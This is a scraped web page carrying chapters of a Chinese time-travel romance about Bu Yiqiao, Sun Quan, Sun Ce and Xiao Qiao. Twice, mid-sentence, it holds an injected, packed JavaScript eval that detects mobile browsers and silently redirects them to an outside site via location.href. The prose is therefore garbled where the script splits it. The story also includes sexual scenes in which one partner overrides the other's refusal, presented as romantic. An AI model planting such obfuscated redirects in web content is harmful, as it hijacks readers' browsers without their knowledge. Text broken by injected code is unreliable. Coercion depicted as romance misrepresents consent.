$(''#content'').append('' 眸见她肩膀和后背肌肤裸露,不及细想,便下意识地拉过自己散落的外衫,将她严严实实地裹住。 “美人儿,跟爷说说名字?”步一乔得寸进尺地用手指轻轻戳了戳他的脸颊,撩了撩他的下颌。 “嗯?”孙权疑惑。 步一乔惊觉,忘了眼前是古风美男,可说不得青楼那套戏词。她吐了吐舌头,没有退开,反而就着裹紧的外衫,在他臂弯里又蹭了蹭,找了个更舒服的姿侧卧着。 “玩笑话,别当真。”她赶忙找补,转而用更正经的语气问道,“不知公子可否告知姓名?” “嘶——不可。” 孙权试图偏过头去维持镇定,但鼻尖萦绕着她发间陌生的清香,让他有些心神不宁。 不是皂角的气息,似花香,沁人心脾的花香。 “为何?姓名而已嘛。”步一乔不解地追问,手指无意识地卷着他外衫的衣带,“告诉我吧。” “不可坏了我在世人眼中的形象……”他低声解释,目光却不由自主地落在她缠绕衣带的纤指上。 好瘦的胳膊。明明瘦弱,却格外有力。这双手不像农家妇人之手,莫非是士族家的小姐?还有她方才穿的衣裳…… 脑海中一闪而过步一乔一览无余的身子,孙权差点头晕目眩仰头倒过去。 步一乔了然道:“啊!我懂。放心!缓过神来,我就走,绝不大肆宣扬。再说,这跟我的妇道有关,不丢你的面,也丢我自己的啊。你就安心告诉我吧?” 孙权感受到她的靠近,身体再次微僵,面上却故作男德,强装冷淡。 “嘶——不行。” “啧,你这人怎么这么扭扭捏捏的!”步一乔佯装生气,鼓起脸颊,伸手轻轻推了一下他的肩膀,“那说一个字,一个字总行了吧。” 孙权看着她娇嗔的模样,沉默片刻。姓氏是断不能说的,吴郡谁人不识孙氏。单说一个“权”字,也太过明显。可这姑娘不似江东人,甚至不似这世间凡人…… 或者说心底,想与她相识。 “权。”他最终吐出一个字。 “权?怎么写的?”步一乔眼睛一亮,立刻抓住他的手腕,摊开他的掌心,自己的指尖在上面比划,“是这样一个点,再一横一撇那样的权吗?” “不可说。” 孙权猛地收拢手掌,原意是想藏起掌心,却适得其反,将步一乔的手攥入掌心。 本该立刻松开的……但他不舍。 “行吧。”步一乔撇撇嘴,终于暂时放弃追问。 她仰头望着撑开天地的树冠,阳光透过枝叶在她脸上跳跃。她忽然噗嗤一笑,自言自语道: “天上掉下个权弟弟……噗嗤,今儿的梦还挺有意思。” “弟弟?姑娘比我年长?” 孙权捕捉到关键词,微微挑眉,看向她明显稚气未脱的侧脸。 大概是身形消瘦纤细,不大看得出这姑娘的具体年纪。好在脸颊还带着点未褪的软肉,透出充沛的血色,显得气血十足,这才流露出几分符合年龄的娇憨。 “应该是吧?我今年二十,你呢?”步一乔转过。 “……我也是。” 居然是同龄?!步一乔暗自诧异,古人不是老得快吗?她忍不住仔细端详起近在咫尺的这张脸,皮肤光洁,眉眼英挺,确实年轻得很。 “天上掉下来……”孙权随着她的视线抬头,低声沉吟恍惚,“于我而言,姑娘也似天仙,从天而降……” “你嘀嘀咕咕说什么呢?要说话就大声点。”步一乔不满地用手肘轻轻碰了碰他。 “我在作诗。”他故作镇定地答道,目光却有些飘忽。 步一乔却突然愣住,脑中电光石火般闪过一个念头。她猛地凑近孙权,几乎鼻尖相触,上下打量着他通身的气度,眼神里充满了惊疑和探究。 “权……嘶……” 她吸了口凉气,难以置信地压低声音。 “你不会是孙权吧?” 20. 千里清光 “孙权”二字脱口而出的瞬间,步一乔眼中是印证猜想的兴奋,而孙权眸底则是身份被道破的惊愕,以及一丝难以言喻的、仿佛被看穿全部的悸动。 “其实……方才我同姑娘说了谎。” 短暂的沉寂后,孙权抿了抿唇,试图用平静无波的语调掩饰内心的波澜。 “我名中不带权字。实为……孙氏。时任江东……之主。” 显然,聪慧过人的孙仲谋已经被眼前的姑娘搞得脑袋晕晕,尽说胡话。 理智在疯狂叫嚣此举的鲁莽与危险,但一种更强大的本能,一种渴望在她面前袒露真实、甚至渴望与她产生更深刻联结的本能,驱使着他说出了这足以招致杀身之祸的秘密。 他甚至不知她姓名。 此刻他仿佛不是江东之主,只是个在她面前不知所措的少年。 “孙氏?!江东之主?!哇……”步一乔睁大了眼睛,惊叹出声,“孙策……你是孙策!” “啊?”孙权一时没反应过来,怔愣地看着她,“你认识兄——孙策?” 他险些说漏嘴。 步一乔理所当然地反驳:“认识他不是很正常吗?” 孙权想纠正自己不是兄长,话到嘴边,步一乔拉长音调发出悠长的哈欠,又往他怀中蹭了蹭。 “罢了就当你是孙策吧。皆是美男,供我梦中作乐~”困意袭来,她梦呓般噙着笑喃喃,“以后,要多出现在我的梦境啊。” “梦境?” 孙权低头看着怀中毫无防备、即将沉入梦乡的姑娘,心头涌上一股难以言喻的复杂情绪,有无奈,有荒谬,也有一丝连自己都不愿承认的失落。 他轻轻重复着这个词,唇角泛起一丝苦涩的弧度。 “是啊,如此光怪陆离,如此……虚幻不真实……或许,真是大梦一场。” 他偏过头,克制地、轻柔地将一个微凉的吻,印在她的额角。 “好,”他低声应允,生怕惊扰了这场易碎的幻梦,“我答应姑娘,一言为定。” * 足足睡了一个时辰(两个小时),步一乔才悠悠转醒。意识回笼,她发现自己仍靠在那个温暖坚实的怀抱里,甚至枕着对方的手臂。 她揉了揉眼睛,抬头便撞入那双深邃依旧,却似乎多了些什么难以名状情绪的眼眸。 “手臂麻了?”步一乔问。 孙权摇头:“许久未曾睡得如此深沉,挺好……” 步一乔万万没想到自己有一日会沦为男人的抱枕,不过不得不承认,枕在他怀中确实睡得不错。 哪怕是梦里。 * 也到了该梦醒的时候。 步一乔坐起身穿上衣裳,拉上运动服的拉链,站起身穿上运动裤。 “对了。”她粲然一笑,垂眸望向仍坐于树下的孙权,“我叫步一乔,与这个时代的步氏一族毫无瓜葛,你可别找错了人,平白给人家添麻烦啊。” 这是她留下的、带着玩笑意味的撇清,也是她唯一能给的“真实”。 随即,步一乔眨了眨眼,带着一丝戏谑的坏笑,蹲下身凑近他面前,问出了那个让孙权瞬间耳根爆红的问题。 “不过……虽说是我强迫你,但你应该也……乐在其中吧?初夜的感觉如何?”她不等他回答,自问自答般地总结,带着点小得意,“你是第一次,我也是,我们扯平啦!” 软无力的手在空中挥动着,步一乔走回自己醒来的地方,而后坐在原地闭目养神,不出意外,回到了现代。 而建安七年的林间,留下的孙权一人怔怔地靠坐在树下,怀中似乎还残留着她的温度和重量。他抬手,指尖无意识地拂过自己的唇角。 良久,他才望向头顶遮天蔽日的树冠漏下的细碎天光,恍若隔世,似问似叹: “天上掉下个……乔妹妹吗?” * 国庆假期结束,马不停蹄地抓住室友霖霖,迫不及待地要分享这个“惊天动地”的好消息。 霖霖皱眉震惊:“你的春梦已经进阶到古风版了吗?” 步一乔也皱着脸感慨:“真的很帅!一整个长在我的审美上!看着我就想挼他的脸!脸摸着超舒服!不过我梦见的应该是年轻版的孙策,感觉像个弟弟。” 她单手撑着脸,努力回想,却发现梦里那张俊朗的面容在记忆中渐渐变得模糊,只剩下一个轮廓和那种令人心跳加速的感觉,但即便如此,残留的印象依旧是那么鲜明,英俊潇洒,令人着迷。 “孙策……孙、策……嘿嘿~好帅啊~” * 自那日山野一别,步一乔便光荣登上了“孙策梦女”的位置,时常对着史料插图傻笑。而一千多年前的江东,孙权则不断催眠自己,那场荒诞又悸动的邂逅,不过是南柯一梦。 然而,命运偏偏有着最顽劣的幽默感。 偏偏命中注定的那一刻,该是梦中的人,从墙角上摔下,地牢的那一吻,跌碎了虚幻。 “不是梦境……是与两年后初遇的人……重逢?” 孙权看着眼前这位刚吻过他、又义无反顾闯入火海的姑娘,心神剧震。 到底在说些什么荒唐话,都乱了,都错了。 “这到底是重逢还是初遇?抑或是……一见钟情?” 难道是因为一见钟情太过猛烈,才凭空生出了这刻骨铭心的“久别重逢”之感? 当仆从惊慌来报,发现兄长孙策昏迷在池边时,孙权的第一反应竟是急切地环顾四周,寻找那道身影。 果然,她又不见了。如同上次一样,在他稍不留神的瞬间,悄然离去。 “步一乔……一乔……你不是梦……” 一股巨大的失落与恐慌攫住了他。孙权眼眶发烫发热,但不敢哭,因她一句“不许再哭了,像什么样子”。 “我才刚认识你,便是永别吗?” 远处,步一乔隐于暗处目睹一切,也读懂了孙权的唇语,拉上运动外套的拉链,悄然没入夜色。 再次回到冰冷的时空棺内,步一乔仔细校准目标时间后,以极其安详的姿态躺好,闭目。 “太可怕了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467255|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就来这么一回,差点把命搭进去……整死都不来了!”她心有余悸地嘟囔,“什么永别,我们压根就不算认识……” 可另一个念头却不受控制地浮现。 “抱歉了弟弟,抢了你的初吻。不过……为何吻上去的感觉,竟有几分似曾相识?” * 再见面,是在廊下阶前。 孙权刚从庐江风尘仆仆返回吴郡,听家中侍从禀报,说府中近日暂住了位步姑娘,不知从何处而来,颇有些蹊跷……后面的话他已无心再听,马不停蹄地奔向了客舍。 当那个在记忆中反复摩挲、既清晰又模糊的背影真真切切映入眼帘时,孙权僵在原地,难以置信地盯着步一乔哼唱着小曲的闲散模样。 是她……真的是她…… 不是地牢水汽氤氲中的幻影,不是山野林间易碎的迷梦。她就那样鲜活地在那里。一股巨大的酸涩直冲鼻尖,眼眶不受控制地发热,他险些又要在她面前落下泪来。 步一乔似乎察觉到身后灼热的视线,疑惑地回望而来。 四目相对,一半是熟悉一半是陌生。 “二公子寻我何事?” 一句“二公子”,如同冰水浇头,瞬间将孙权从失而复得的狂喜中冻醒。委屈、愤怒、还有一种被彻底忽视戏弄的痛楚,猛地攫住了他。 第一次,她强迫他翻云覆雨;第二次,她夺去他的吻,闯入他的世界,再次不告而别;第三次,她竟能如此坦然,装作素不相识的模样? 分明是风流成性、草莽轻浮! 一股压抑已久的、近乎破罐破摔的冲动,混合着强烈的占有欲和报复心,在他心中疯狂滋长。 她可以如此,那我是不是也可以? 那夜,在郡里以孝廉被举荐,在州里以茂才被举荐,素来克己复礼的孙仲谋,做出了他此生最为大胆、与他十九年所接受的仁义礼智信全然背道而驰的举动。 “不行!你这么搞,我要是怀孕了怎么办!” “那就怀,我娶你,明日便娶你。” 什么明日,他巴不得眼下执起她的手,以天地为证,就地结为夫妻。 “怀你个头啊!不可以!”步一乔简直要疯了。 孙权没好气地撑起身子,居高临下地瞪着她,烦躁地咋了下舌。 “你到底要不要我进去?” 学着她在“初夜”说的话,话音落,孙权惊觉:原来自己已在无形中,将她如此深沉地刻入灵魂了吗? 可她却当真爱上兄长,把自己忘了。 孙权将所有挣扎、克制、礼法统统抛诸脑后,遵循着心底最原始的渴望与愤怒,攫取了他思念了无数个日夜的温热与真实。 待到风歇雨住,他看着怀中惊愕茫然、眼角犹带泪痕的步一乔,心中翻涌着复杂的快意与更深的痛楚。他偏过头,避开她难以置信的目光,仿佛在说服自己,又像是在对她宣告: “事已至此,随你如何想。若要告予兄长或母亲,悉听尊便。” “是你欺骗我在先……我们,扯平了。” 21. 箢云梦 感觉脚不小心到了被窝外,步一乔被寒气猛地惊醒,赶忙把脚收回来。 天还未亮,炉子里的火也快熄灭,约莫时间凌晨两三点吧。 步一乔打了个冷颤,没办法,只好硬着头皮转过身去,往床榻中间的取暖器挪了挪。 孙权感受到人往这边挪了点,迷糊着睁开眼,检查了下被子包裹得是否严实,而后把步一乔圈在怀中,两具身体依偎着替她暖和暖和。 男人的体温为什么就是比女人高一些呢? 步一乔心底纳闷,谴责着贪图温暖出卖身体的自己。 “不过真的好冷啊……快下雪了吧?”她抬眸看了眼孙权的下颌,心一横,又往他身上钻了钻。 夜里似乎做了个梦,梦见了自己第一次在梦中与孙策幽会的场面。人从天上掉下来,别扭着不肯告诉自己姓名。 这性子不太像孙策,倒是和某人挺像。 又约莫睡了一个时辰,步一乔悠悠转醒,发现自己仍靠在温暖坚实的怀抱里,枕着孙权的手臂。 她揉了揉眼睛,抬头便撞入那双早已醒来,深邃依旧的眼眸。 等等……这一幕,怎么感觉似曾相识?步一乔皱着眉苦想,可怎么也想不起。 是曾经做的一场梦吗?大概是吧,人不是经常有这种现实与梦境恍惚的错觉吗。 “嘶……权……” “嗯?”闻声,孙权睁开眼看着怀里一脸苦恼的人,“睡不着?” 步一乔本不想作答,又怕气氛被自己搞得尴尬。反复睡了几次的人,初夜那般使哼发气、哭哭啼啼的样子再也做不出来,倒不如心安一点去接受它。 内心愧疚伯符罢了。 “冷飕飕的,睡不着。” 孙权沙哑着嗓音蹭了蹭她的发顶,“我陪你说说话?” “……我与你,无话可说。” 孙权轻笑,“以牙还牙?” 步一乔颇为得意地仰起脸,额头贴在孙权的颈动脉上,口鼻呼出的气息正好扫过他的锁骨窝。 “今天年二十九,我要和伯符去祭祀。” 她故意的,想到他会因为提到伯符而生气,故意说给他听。 这话果然引得孙权皱眉。 “只是你和兄长吗?” “嗯。”步一乔见他脸色霎时暗沉到快溢出杀气似的,得逞地改口道,“还有你的一众兄弟姐妹,以及即将过门的两位夫人。” 孙权脸色倏地更沉下来,这次是真有杀意。气呼呼的手在被褥下覆上步一乔的腰背,把人按向自己紧贴住。 “无妨,那我便趁着人多眼杂,将你带走,只你我单独相处。” “嘁,小气鬼。不对,你这叫什么?病娇?你可就差把我囚禁起来了。” 见步一乔没心没肺地呵呵笑,孙权就着怒气把人一下圈紧,勒得步一乔“嗷”了声,一巴掌招呼在他胸口。 “待江东霸业成就之日,我便修一座宫殿,将你禁足在后宫之中。” “啊,建业宫……” 孙权称帝迁都南京,修建业宫。以此,南京开启了其“六朝古都”的历史。 小小孙权居然道破了天机! 步一乔心一横,卷走被子,让孙权整个暴露在空气中,瞬间起了一层细小的疙瘩。 “你——” 步一乔把整团被子卷在身上,背对着他,只露出一个毛茸茸的后脑勺。孙权伸手轻轻拽了拽被角,纹丝不动。 “分我一点。” 步一乔装睡,肩膀却微微耸动。孙权凑近了些,温热的气息拂过她的后颈:“我知道你醒着。” 后颈痒痒的,她猛地翻身,两人顿时面对面陷在柔软的枕头里。被子被步一乔紧紧攥在胸前,只露出双坏笑的眼睛。 因睡不惯古人的瓷枕木枕,步一乔偷摸着找了些布料,自制了软和一些枕头。 至于为什么这枕头现在在孙权床榻上?方才办完事儿,要睡了,步一乔非得推着人,去她卧房取来的。这事儿又不可招呼侍从去做,只有某人顶着寒风亲力亲为了。 “试探一下你怕不怕冷。”步一乔挑眉,脚踝无意间蹭过他冰凉的小腿,倏地缩回。 孙权趁机抓住被角,佯装投降道:“现在怕了。” 他的膝盖抵进她两腿之间,形成一个暧昧的桎梏。步一乔想要后退,却发现早已抵到床沿。 步一乔:“退、后!” 孙权:“不、退。” 凌晨三点,拉扯间被褥成了他们之间的战场。步一乔突然松手,孙权因惯性向后仰去,她趁机翻身压住被角,散落的长发扫过他的胸膛。 “使诈?”孙权眸色暗沉,握住她手腕的力道却轻柔。忍不住送往唇边,亲吻她的腕处。 步一乔俯身,鼻尖几乎碰触到他的,呼吸交织成网。 “这叫兵不厌诈。惩罚你昨晚叫停了还不住手。” 她屈起的膝盖想挪动位置,不经意擦过他大腿内侧,两人同时僵住。 “呃……我不是有意——” 孙权突然翻身将她笼罩在阴影里,被子在混乱中滑落腰际,露出他紧实的后背。步一乔的手无意间按在他赤裸的胸口,掌心下的心跳快得惊人。 自己的也是。 “我以为那是你在欲拒还迎。”他浅笑着低声说,“看来得定一下规矩了。当你说某个词时,我便及时收手。” 步一乔轻挑眉,“安全词?东汉末年就有安全词了吗?话说这东西不是同性漫画里才有的吗?BG也有?” 孙权听不懂她在嘀咕什么,自顾思忖制定个什么词好。 “有什么想法吗?”他问。 步一乔松开攥着被角的手,缓缓攀上他的脖颈,将他的温暖融入自己,再分不清彼此的温度。 “仲谋……” “……你叫我什么?” 步一乔还是第一次唤他仲谋,不带孙字。 “我说安全词呢。往后我快不行了,便唤你仲谋,你就得停,知道吗?” 孙权无奈笑了声,“就这么不情愿叫我的名字?非得放在这种时候。” “嗯!就是不想叫。”步一乔仰起头吻上他的唇,“实践一次?” 吻沿着颈侧一路向下,被褥内温度攀升,屋外白雪簌簌。 “不对!”步一乔突然惊醒,推开压在身上的重物,“怎么就默认我要和你绑定了?!” 这就是……既然要追求刺激,就要贯彻到底吗! * 雪霁晌午,长街喧闹,众人皆着厚衣出府。周瑜与小乔已候在门外,准备一同前往祭祀坛。 吴夫人见今日年轻人齐聚,满心欢喜,特意拉着谢姑娘的手走到孙权身边。 “仲谋,今日可要照顾好谢姑娘。” 两位年轻人相视一礼,彼此颔首。谢姑娘生得端庄温婉,与徐姑娘确是截然不同的韵致。 步一乔缀在人群最后,将自己隐在身影交错处,静静望着眼前一切。 “一乔。” 小乔轻快地小跑过来,亲昵地挽住她的手臂,“雪后路滑,我们挽着走稳当些。” 步一乔直言拆穿:“是有话想对我说吧?” “姐姐寄信来问候我二人可安好。今年春节,只有父亲和姐姐度过,不会太冷清吧……” 见小乔神色落寞,步一乔伸手轻轻揉了揉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467256|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的脸颊。 “好啦,别胡思乱想。说不定没有你在,他们过得格外清静自在呢。” 小乔顿时鼓起腮帮,侧身用胯轻轻撞了下步一乔。 “怎么样?和周公子相处数日,可有何感想?” 小乔羞红着脸,“挺好。” “没了?”步一乔吃瓜的表情愈发变态,“这么冷的天,两个人没——” “胡说什么!”小乔羞恼地瞪了她一眼,“礼未成,岂可行越矩之事?” “……说得也是。”步一乔莫名心虚。 前方,孙权与谢姑娘相谈甚欢,言谈间从容自若。此刻的他是众人眼中的孙仲谋,沉稳持重,与同自己说话时的模样判若两人。 “谢姑娘似乎很中意仲谋呢。”小乔窥破她的心思,故意说道,“听说吴夫人此次邀谢氏前来,除了共度正旦,也是为二人的婚事打算。” “是啊。”步一乔呵出一团白雾,“吴夫人还问我,他们看起来是否般配。” “你如何回答?” “自然是天造地设的一对。”步一乔的目光飘向正挽着吴夫人的徐姑娘,“那位,也很般配。” 小乔顺着她的视线端详徐姑娘片刻,轻声道:“那位……是亡夫之妻吧?” 步一乔倏然转头,诧异她竟知晓此事,随即想起她家中那位无所不知的夫君,还有这府中从不缺席的闲言碎语,便咽下了追问。 * 行至祭祀坛,香火缭绕,人声愈盛。随着人流推挤,众人渐渐走散。小乔已与周瑜并肩祭拜,步一乔搀扶着吴夫人,身后随着孙策、孙权与谢姑娘。 望着坛前鼎盛烟火,步一乔不禁轻叹:“想不到江东地区的春节是这样的,好热闹啊。” 吴夫人闻言笑着拍拍她的手道:“傻姑娘,这白雪皑皑的,还没到春节呢。” 突然被点醒,步一乔讪讪笑了笑,小声嘀咕道:“差点忘了,东汉末年该叫正旦来着。‘春节’这叫法都到民国——” “民国”二字脱口而出的瞬间,她喉头一紧,余音戛然而止。 仿佛被冰雪猝然浸透全身,步一乔猛地打了个寒噤。脖颈僵硬地转向身侧,方才还挽着她手臂说笑的人,此刻竟杳无踪迹。 “不见了……她去哪儿了?” 吴夫人被她煞白的脸色与骤然失态惊着,连忙拉住她冰凉的手:“怎么了?在找谁?” “……没、没谁。”她垂下眼帘,竭力藏起慌乱。 步一乔的脸色霎时没了血色,肉眼可见的急切。嘴上是把吴夫人糊弄过去,可眼睛没放过任何一张相似的脸。 后方的孙权察觉异样,正要上前,衣袖却被轻轻拉住。 谢姑娘仰首望他,眼波流转,双颊绯红,朱唇轻抿: “仲谋……可否借一步说话?” * 步一乔在人潮边缘寻见了那个身影。她正独自立于树下,似在祈福,又似在等待。 “小乔姑娘!” 步一乔的声音让树下那人应声回头。 “一乔?怎么了?” 步一乔看着眼前的姑娘,竟不知如何开口,一股害怕从心底蔓延。幸好周瑜不在,定要问个清楚。 “我……真的该叫你小乔吗?” 小乔抬眉,作不解状:“这是何意?” “春节……”步一乔不禁吞咽,“这个说法,是民国以后才兴起的。民国以后的人才会这么叫……” 话音落下的瞬间,万籁俱寂。 纷扬的雪,毫无征兆地再度飘落。 步一乔的目光如锁链般紧扣对方毫无波澜的双眼。 “你到底是谁?” 22. 尘中游 “我是小乔啊。”她无奈轻笑,“自幼在桥府长大,与姐姐相依为命——” “长大?”步一乔敏锐地抓住这个词,“你并非在那儿出生?” “你还真会挑字眼。” “你也是……不属于这个时代的人?” “也?”小乔纯然歪头,“你不属于这里?你从别的时间来?” “是,我是穿越来的。”步一乔索性坦白,“你呢?” “我是吗?”小乔唇角微扬,反问,“你觉得我和你一样,是从未来穿越而来的?” “不对吗?” 小乔摇头:“不过有一点你说对了,我确实来自千年以后,但,和你不一样。” “什么意思?” 就在这紧张万分的时刻,步一乔眼角的余光突然瞥见人群中,一个身影正悄然逼近孙策。 “伯符小心——!” 她来不及呼喊,整个人已猛冲过去,然而忘了脚下是刚落雪的湿滑青石板。 只听“欸?”的一声,她竟在空中做出满分十分的侧转体,“噗通”栽进了路旁结着薄冰的水池。 刺骨冰水瞬间裹住全身。 “啊啊啊啊啊啊!好冰!” “一乔!”孙策的惊呼声和小乔的喊声重叠。 下一秒水花四溅,孙策毫不犹豫地跃入池中,三两下就将冻得直哆嗦的步一乔捞起。 “一乔你没事吧!”小乔急忙解下披风,在人上岸的瞬间紧紧裹住。 “有……有刺……”步一乔牙齿打颤,仍挣扎着指向那个方向。 孙策望去,只见围观人群,并无异样。他低头看着怀里冻得嘴唇发紫、还在扑腾的“女侠”,一时不知该气还是该笑。 “寒冬腊月的,你也不怕冻病了。” “救你……要紧……阿嚏——!” 孙策顾不得浑身湿透,一把将步一乔打横抱起,朝最近客舍狂奔而去,留下一路水渍与目瞪口呆的众人。 “阿嚏——!”步一乔被自己响亮的喷嚏震得脑袋发晕,迷迷糊糊间,只觉得孙策的怀抱……竟格外暖和。 “把你……弄湿了……阿嚏——!” “我无妨。”他转头对紧跟而来的小乔道,“待会儿劳烦乔姑娘为一乔更衣,我去寻些驱寒汤药。” “将军也湿透了,需先更衣再去。”小乔提醒。 孙策颔首,看着怀中瑟瑟发抖的步一乔,低声道:“傻姑娘,你可不能生病啊。” * 吴夫人抚着心口,余悸未消:“怎地这般不小心?方才听到消息,险些把我吓晕过去,可担心坏了。” 步一乔裹紧客舍的被褥,鼻尖通红:“抱歉,没留神脚下就……就阿嚏——!” “这儿暖和,且先歇着,等身子舒爽了再动。”吴夫人说着,转头吩咐下人去府中再取厚被褥来。 “母亲先回吧,”孙策接口,“我陪一乔在此暂住一宿,明日便赶回府中过正旦。” 吴夫人点头,临行前用手背轻贴步一乔的额头,温声道:“万万不能生病啊,我还盼着你与伯符的婚宴呢。” “是……” 婚宴的日子定在正月初五,孙府近日忙前忙后也为此事。若是这样病下去,恐怕日子得挪后,或者取消。 好像……还挺庆幸这一倒霉事儿的?对步一乔而言。 顶替了大乔成为“大乔”,嫁给自己喜欢的人,确实不错……唉,自己何时成了如此多愁善感、反复无常的人了? 都怪他。 “仲谋呢?”孙策忽然问起。 吴夫人抿唇一笑:“和谢姑娘不知绕到哪儿说话去了。这孩子,果然还得我亲自推一把才行。” 步一乔听得真切,目光怔怔地落在火盆中明灭的木炭上。 吴夫人顺势在她身旁坐下,温热的手掌握住她微凉的指尖,絮絮说道:“早该成亲的,仲谋那孩子却一而再再而三地推拒。我问他是不是心里早有了人,若真有,我这做母亲的便豁出脸面上门为他说合,可他偏又含糊其辞,一个字也不肯吐露,真真急煞人。” 孙策闻言,指节轻轻抵着下颌,沉吟道:“我曾听仲谋酒后念起过,似乎是位姓步的姑娘。”他略一停顿,似在回忆,“自我攻取庐江后,确有一位步氏女子,因其才貌双绝,名动江淮,军中将领亦有所耳闻。” “莫非是淮阴步氏?”吴夫人眼眸一亮,了然般连连颔首,“如此便好!待正旦一过,我定要亲自登门拜访,好好瞧瞧这位步姑娘是何等品貌,竟能让吾家这块顽石开了窍。” “步……姑娘?” 始终沉默旁听的步一乔,在听到这三个字的瞬间,只觉得耳边“嗡”的一声巨响,仿佛所有的声音都瞬间褪去,只余下尖锐的鸣响在颅腔内震荡。 她听清了母子二人对话中的每一个字。 姓步的姑娘。 淮阴步氏。 那个在史书中与孙权名字紧密相连,被他倾尽一生所爱,最终追封为皇后的女人—— 步练师。 步练师……步练师……步夫人…… 这算不算是……真爱出现,白月光即将退场的前奏? 原来,历史的轨迹早已写好,步一乔此刻的纠结与那点隐秘的悸动,在既定的命运面前,显得如此荒唐可笑。 她好像明白了。 为什么两次无法改写伯符的结局,时间悖论下,所有人都残留着奇怪的残影。 历史,终究是无法改变的。 她步一乔,无法成为改写历史的女人。 * 吴夫人离开后不久,客舍的门“哐当”一声被猛地推开。 孙权神色仓惶地冲进屋,发丝和肩头还沾着未拂去的雪粒,气息微喘,显然是疾跑而来。 看到床榻上包裹严实的步一乔,他面上的情绪显而易见。若不是身后跟着谢姑娘,屋内还有小乔和孙策,只怕他会直接哭出来。 孙策闻声抬头,语气责备道:“仲谋,慌慌张张,成何体统?” “这……怎么一回事?”孙权的声音发紧,差点泄露了情绪。 步一乔勉强扯出个笑,想轻描淡写地带过:“不小心掉水里去了……二公子不必担心。” 言外之意是想孙权不必担心自己,却不想孙策插进话来:“傻姑娘以为有人要行刺我,冲上来相护,谁知脚下打滑,自己栽进了池子里。” “为保护兄长么……” 无声闷热的室内,只有步一乔明白孙权此刻想的什么。 谢姑娘适时地在榻边坐下,取出绣帕,轻柔地为步一乔拭去额角的冷汗。 “明日兴许就没事儿了,还没和姑娘打糕吃呢” “打糕……” 谢姑娘说的是前些日子在府上帮忙,两个人无意间聊到糕点,并相约年三十这日,一起打糕给众人尝尝。 步一乔勉强笑着点头,“嗯,答应姑娘的,不会食言。” 嘴角还挂着勉强撑起的笑意,但她的全部心思,早已被孙权与谢姑娘方才那一段“单独相处”牢牢攫住。 他们去了哪里?说了什么?是否……有了她不知道的进展? 室内因炭火盆而闷热,但这股燥热似乎只灼烧着她一人。 昨日是徐夫人,今日是步练师、谢姑娘,全围上来了。 步一乔的目光不受控制地锁定在孙权同样注视着自己的眼眸中,他肩头的雪已然融化,留下深色的水渍。 “二公子……”她终于忍不住探询,“方才与谢姑娘去亭中,没淋到雪吧?” 这话问得突兀,甚至有些失礼。孙策略带诧异地看了她一眼, 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但她最终只是将脸往软枕里埋了埋,闷声道:“抱歉,我有些困了,想睡会儿。” 孙权下意识想上前,却被孙策一个眼神无声拦下。微妙中,三个人默默退出室内。 * 趁着孙策出门寻药,室内只剩小乔和步一乔。小乔又一眼看破了步一乔的心事。 “你这人,心思真是反复无常。方才连命都敢拼,此刻却又神思不属。你到底是喜欢孙策将军,还是他弟弟仲谋啊?” 步一乔哆哆嗦嗦地抬起头,半眯着眼,执拗地重复道:“你……刚才的问题回答我之前,我不会回答你任何问题。” 小乔凝视她片刻,忽然噗嗤一笑,笑意冲淡了方才的紧张。她走上前,张开双臂,将裹得像粽子般的步一乔轻轻拥住。 “罢了,看你可怜巴巴的样子,真叫人心疼。哦,当然,心疼你的,想必不止我一人……还有伯符将军,以及……那位孙仲谋。” 她脸上是看穿一切的了然,步一乔无力争辩,只觉得浑身难受,仿佛再多说一句,积压的情绪就会如岩浆般喷涌,让她恨不得一脚踢翻那盆灼人的炭火。 小乔的声音低沉下来,带着对某种回忆的眷恋。 “你可知,我初见你那日有多高兴吗?虽是不曾见过的衣裳,但我的直觉说,你与我一样,是从天而降的不速之客。” 步一乔一把抓住她的手,“你果然是穿越来的!” “是,”小乔迎上她的目光,坦然承认,随即话锋一转,“但,也不是。” 步一乔快急死了,只觉得头痛欲裂,一种无力感攥住了心脏。她将发烫的额头无力地靠上小乔的肩头,呻吟道:“好难受……要死了……” “哪儿不舒服?头疼吗?”小乔立刻关切地问。 步一乔摇头,道:“脑袋,心脏,还有眼眶。” 小乔温柔地抚摸着她的发顶,轻声吟诵:“生子当如孙仲谋……你呢?你心里,是怎么想的?” “……刚才的问题回答我之前,我不会回答你任何问题。”步一乔固执地重复。 “怎么还是这句话?”小乔无奈地笑了,“我不是回答了吗?‘是,但也不是’。” “我听不懂。” 小乔轻叹一声,叹息里是苍凉的,而后开口: “我确实是穿越而来,但与你不同,我……并非活着来到这里的。” 步一乔猛地想直起身,却被小乔轻轻按住。 “不是……活着的时候?”她难以置信地重复。 小乔平静地点头,眼神仿佛穿透了时空,望见了某个遥远的终点。 “在穿越至此的前一刻,我……已面临死亡。”